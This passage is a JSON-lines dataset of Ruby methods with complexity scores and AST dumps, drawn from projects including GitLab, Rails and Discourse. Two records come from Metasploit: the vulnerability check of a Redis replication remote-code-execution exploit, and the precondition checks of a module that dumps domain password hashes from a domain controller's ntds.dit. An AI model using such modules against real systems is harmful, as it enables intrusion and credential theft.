English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1907063803]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-06-22\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"fc455d1c-d5c7-471f-9066-30f8c37d5026"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/concerns/packages/debian_package_endpoints.rb","start_line":38,"raw_source":"def present_distribution_package_file!(project)\n              not_found! unless params[:package_name].start_with?(params[:letter])\n\n              package_file = distribution_from!(project).package_files.with_file_name(params[:file_name]).last!\n\n              present_package_file!(package_file)\n            end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"present_distribution_package_file!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_name\"]}]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"letter\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"not_found!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"package_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distribution_from!\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},\"package_files\"]},\"with_file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]}]},\"last!\"]}]},{\"type\":\"send\",\"children\":[null,\"present_package_file!\",{\"type\":\"lvar\",\"children\":[\"package_file\"]}]}]}]}","id":"40038938-da93-461f-84f3-43dea8b69eae"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":285,"raw_source":"def shutdown\n    _log.info(\"initiated for #{format_full_log_msg}\")\n    quiesce\n\n    MiqEvent.raise_evm_event(self, \"evm_server_stop\") rescue nil\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"shutdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"initiated for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_full_log_msg\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"quiesce\"]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEvent\"]},\"raise_evm_event\",{\"type\":\"self\",\"children\":[]},{\"type\":\"str\",\"children\":[\"evm_server_stop\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"aca9bb7f-a4ca-474e-b4bd-f570d466e6b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/members.rb","start_line":54,"raw_source":"def remove_member(user)\n        QA::Runtime::Logger.info(%(Removing user #{user.username} from #{full_path} #{self.class.name}))\n\n        delete Runtime::API::Request.new(api_client, \"#{api_members_path}/#{user.id}\").url\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_member\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\" from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_path\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_members_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"url\"]}]}]}]}","id":"ca1bd54f-3085-4481-ad6b-64fc8dfd4923"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/cursor_store.rb","start_line":11,"raw_source":"def commit(payload)\n        Gitlab::Redis::SharedState.with do |redis|\n          redis.set(cache_key, payload.to_json, ex: ttl)\n        end\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"to_json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"ttl\"]}]}]}]}]}]}","id":"84f55b73-1d47-4aee-9f3b-ab8ce42c3cf0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb","start_line":77,"raw_source":"def check\n    connect\n    # they are only vulnerable if we can run the CONFIG command, so try that\n    return CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/\n\n    if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\\S+)/ =~ info_data\n      report_redis(redis_version)\n    end\n\n    unless redis_version\n      return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')\n    end\n\n    # Only vulnerable to version 4.x or 5.x\n    version = Rex::Version.new(redis_version)\n    if version >= Rex::Version.new('4.0.0')\n      return CheckCode::Vulnerable(\"Redis version is #{redis_version}\")\n    end\n\n    CheckCode::Safe\n  ensure\n    disconnect\n  end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_data\",{\"type\":\"send\",\"children\":[null,\"redis_command\",{\"type\":\"str\",\"children\":[\"CONFIG\"]},{\"type\":\"str\",\"children\":[\"GET\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_data\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"dbfilename\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info_data\",{\"type\":\"send\",\"children\":[null,\"redis_command\",{\"type\":\"str\",\"children\":[\"INFO\"]}]}]}]},{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"redis_version:(?<redis_version>\\\\S+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"info_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_redis\",{\"type\":\"lvar\",\"children\":[\"redis_version\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Cannot retrieve redis version, please check it manually\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"redis_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.0.0\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Redis version is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis_version\"]}]}]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"22cdb9d9-28f3-411f-9600-630e3f1eeb86"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/comments_helper.rb","start_line":83,"raw_source":"def contextual_comment_url(comment, article: nil)\n    # Liquid tag parsing doesn't have Devise/Warden (request middleware)\n    return URL.comment(comment) if request.env[\"warden\"].nil?\n\n    # Logged in users should get the comment permalink\n    return URL.comment(comment) if user_signed_in?\n\n    # Logged out users should get the article URL with the comment anchor\n    URL.fragment_comment(comment, path: article&.path)\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"contextual_comment_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]},{\"type\":\"kwoptarg\",\"children\":[\"article\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"warden\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"comment\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"comment\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"fragment_comment\",{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"path\"]}]}]}]}]}]}","id":"ffbcfa85-0883-42ca-98b2-ee24dff4ed85"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/line.rb","start_line":25,"raw_source":"def to_h\n            # Without forcing the encoding to UTF-8 and then replacing\n            # invalid UTF-8 sequences we can get an error when serializing\n            # the Hash to JSON.\n            # Encoding::UndefinedConversionError (or possibly JSON::GeneratorError in json 2.6.1+):\n            #   \"\\xE2\" from ASCII-8BIT to UTF-8\n            { text: encode_utf8_no_detect(text) }.tap do |result|\n              result[:style] = style.to_s if style.set?\n            end\n          end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"encode_utf8_no_detect\",{\"type\":\"send\",\"children\":[null,\"text\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"set?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"to_s\"]}]},null]}]}]}","id":"9e3c9b98-952f-4b08-93c6-717411e1bfc0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":931,"raw_source":"def test_model_class_responds_to_fifth_bang\n    assert Topic.fifth!\n    Topic.delete_all\n    assert_raises ActiveRecord::RecordNotFound, match: \"Couldn't find Topic\" do\n      Topic.fifth!\n    end\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_model_class_responds_to_fifth_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"fifth!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"delete_all\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"str\",\"children\":[\"Couldn't find Topic\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"fifth!\"]}]}]}]}","id":"45863629-0d18-4df7-8b87-a80b0416e308"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/base.rb","start_line":58,"raw_source":"def has_section?(name)\n          has_css?(\".sidebar-sections [data-section-name='#{name.parameterize}']\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_section?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".sidebar-sections [data-section-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"parameterize\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}","id":"7d4faa2b-5543-4540-b026-ca9ec384411a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":479,"raw_source":"def test_should_return_type_casted_values_with_group_and_expression\n    assert_equal 0.5, Account.group(:firm_name).sum(\"0.01 * credit_limit\")[\"37signals\"]\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_return_type_casted_values_with_group_and_expression\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[0.5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"group\",{\"type\":\"sym\",\"children\":[\"firm_name\"]}]},\"sum\",{\"type\":\"str\",\"children\":[\"0.01 * credit_limit\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"37signals\"]}]}]}]}","id":"840ed9a3-1e92-4937-861a-1b5ee02f38b9"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/setup/setup.rb","start_line":245,"raw_source":"def ensure_gemfile_valid!(update_gemfile_if_needed: false)\n      gemfile_content = File.read(gemfile_path)\n      unless gemfile_content.include?(\"https://rubygems.org\")\n        UI.error(\"You have a local Gemfile, but RubyGems isn't defined as source\")\n        UI.error(\"Please update your Gemfile at path `#{gemfile_path}` to include\")\n        UI.important(\"\")\n        UI.important(\"source \\\"https://rubygems.org\\\"\")\n        UI.important(\"\")\n        UI.error(\"Update your Gemfile, and run `bundle update` afterwards\")\n      end\n\n      unless gemfile_content.include?(\"fastlane\")\n        if update_gemfile_if_needed\n          gemfile_content << \"\\n\\ngem \\\"fastlane\\\"\"\n          UI.message(\"Adding `fastlane` to your existing Gemfile at path '#{gemfile_path}'\")\n\n          File.write(gemfile_path, gemfile_content)\n        else\n          UI.error(\"You have a local Gemfile, but it doesn't include \\\"fastlane\\\" as a dependency\")\n          UI.error(\"Please add `gem \\\"fastlane\\\"` to your Gemfile\")\n        end\n      end\n    end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_gemfile_valid!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"update_gemfile_if_needed\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gemfile_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"gemfile_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gemfile_content\"]},\"include?\",{\"type\":\"str\",\"children\":[\"https://rubygems.org\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"You have a local Gemfile, but RubyGems isn't defined as source\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please update your Gemfile at path `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gemfile_path\"]}]},{\"type\":\"str\",\"children\":[\"` to include\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"source \\\"https://rubygems.org\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Update your Gemfile, and run `bundle update` afterwards\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gemfile_content\"]},\"include?\",{\"type\":\"str\",\"children\":[\"fastlane\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_gemfile_if_needed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gemfile_content\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\ngem \\\"fastlane\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding `fastlane` to your existing Gemfile at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gemfile_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"gemfile_path\"]},{\"type\":\"lvar\",\"children\":[\"gemfile_content\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"You have a local Gemfile, but it doesn't include \\\"fastlane\\\" as a dependency\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"Please add `gem \\\"fastlane\\\"` to your Gemfile\"]}]}]}]}]}]}]}","id":"8703ea29-6afa-4ca0-8c5a-5b222605f369"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/app/contracts/saml/providers/base_contract.rb","start_line":122,"raw_source":"def certificate_invalid?\n        valid_certificate\n        valid_sp_key\n\n        errors.any?\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate_invalid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_certificate\"]},{\"type\":\"send\",\"children\":[null,\"valid_sp_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"any?\"]}]}]}","id":"726ba666-a978-4e13-a82e-6df474807388"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_prevent_writes_test.rb","start_line":61,"raw_source":"def test_doesnt_error_when_a_show_query_is_called_while_preventing_writes\n        ActiveRecord::Base.while_preventing_writes do\n          assert_equal 1, @connection.execute(\"SHOW TIME ZONE\").entries.count\n        end\n      end","complexity_score":7.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_doesnt_error_when_a_show_query_is_called_while_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"SHOW TIME ZONE\"]}]},\"entries\"]},\"count\"]}]}]}]}","id":"44c1e532-d310-4b4a-9dee-a16f327a3466"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/variables/helpers.rb","start_line":29,"raw_source":"def inherit_yaml_variables(from:, to:, inheritance:)\n            merge_variables(apply_inheritance(from, inheritance), to)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inherit_yaml_variables\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwarg\",\"children\":[\"inheritance\"]}]},{\"type\":\"send\",\"children\":[null,\"merge_variables\",{\"type\":\"send\",\"children\":[null,\"apply_inheritance\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"inheritance\"]}]},{\"type\":\"lvar\",\"children\":[\"to\"]}]}]}","id":"2d85988f-9b52-494a-8550-ea36dfa791f5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/notify.rb","start_line":63,"raw_source":"def principals\n    Principal\n      .not_locked\n      .select(:id, :type)\n      .select_for_name\n      .ordered_by_name\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"principals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Principal\"]},\"not_locked\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]},\"select_for_name\"]},\"ordered_by_name\"]}]}","id":"4ad8207e-15e6-4f27-98f8-68e276f9ccbb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/domain_hashdump.rb","start_line":139,"raw_source":"def preconditions_met?\n    unless is_admin?\n      print_error('This module requires Admin privs to run')\n      return false\n    end\n\n    print_status('Session has Admin privs')\n\n    unless domain_controller?\n      print_error('Host does not appear to be an AD Domain Controller')\n      return false\n    end\n\n    print_status('Session is on a Domain Controller')\n\n    unless ntds_exists?\n      print_error('Could not locate ntds.dit file')\n      return false\n    end\n\n    unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)\n      fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')\n    end\n\n    session_compat?\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"preconditions_met?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"This module requires Admin privs to run\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session has Admin privs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"domain_controller?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Host does not appear to be an AD Domain Controller\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session is on a Domain Controller\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ntds_exists?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not locate ntds.dit file\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"commands\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Extensions\"]},\"Extapi\"]},\"COMMAND_ID_EXTAPI_NTDS_PARSE\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session does not support Meterpreter ExtAPI NTDS parser\"]}]}]},{\"type\":\"send\",\"children\":[null,\"session_compat?\"]}]}]}","id":"0574d55d-0ea6-4c3e-b569-d2c321678637"}
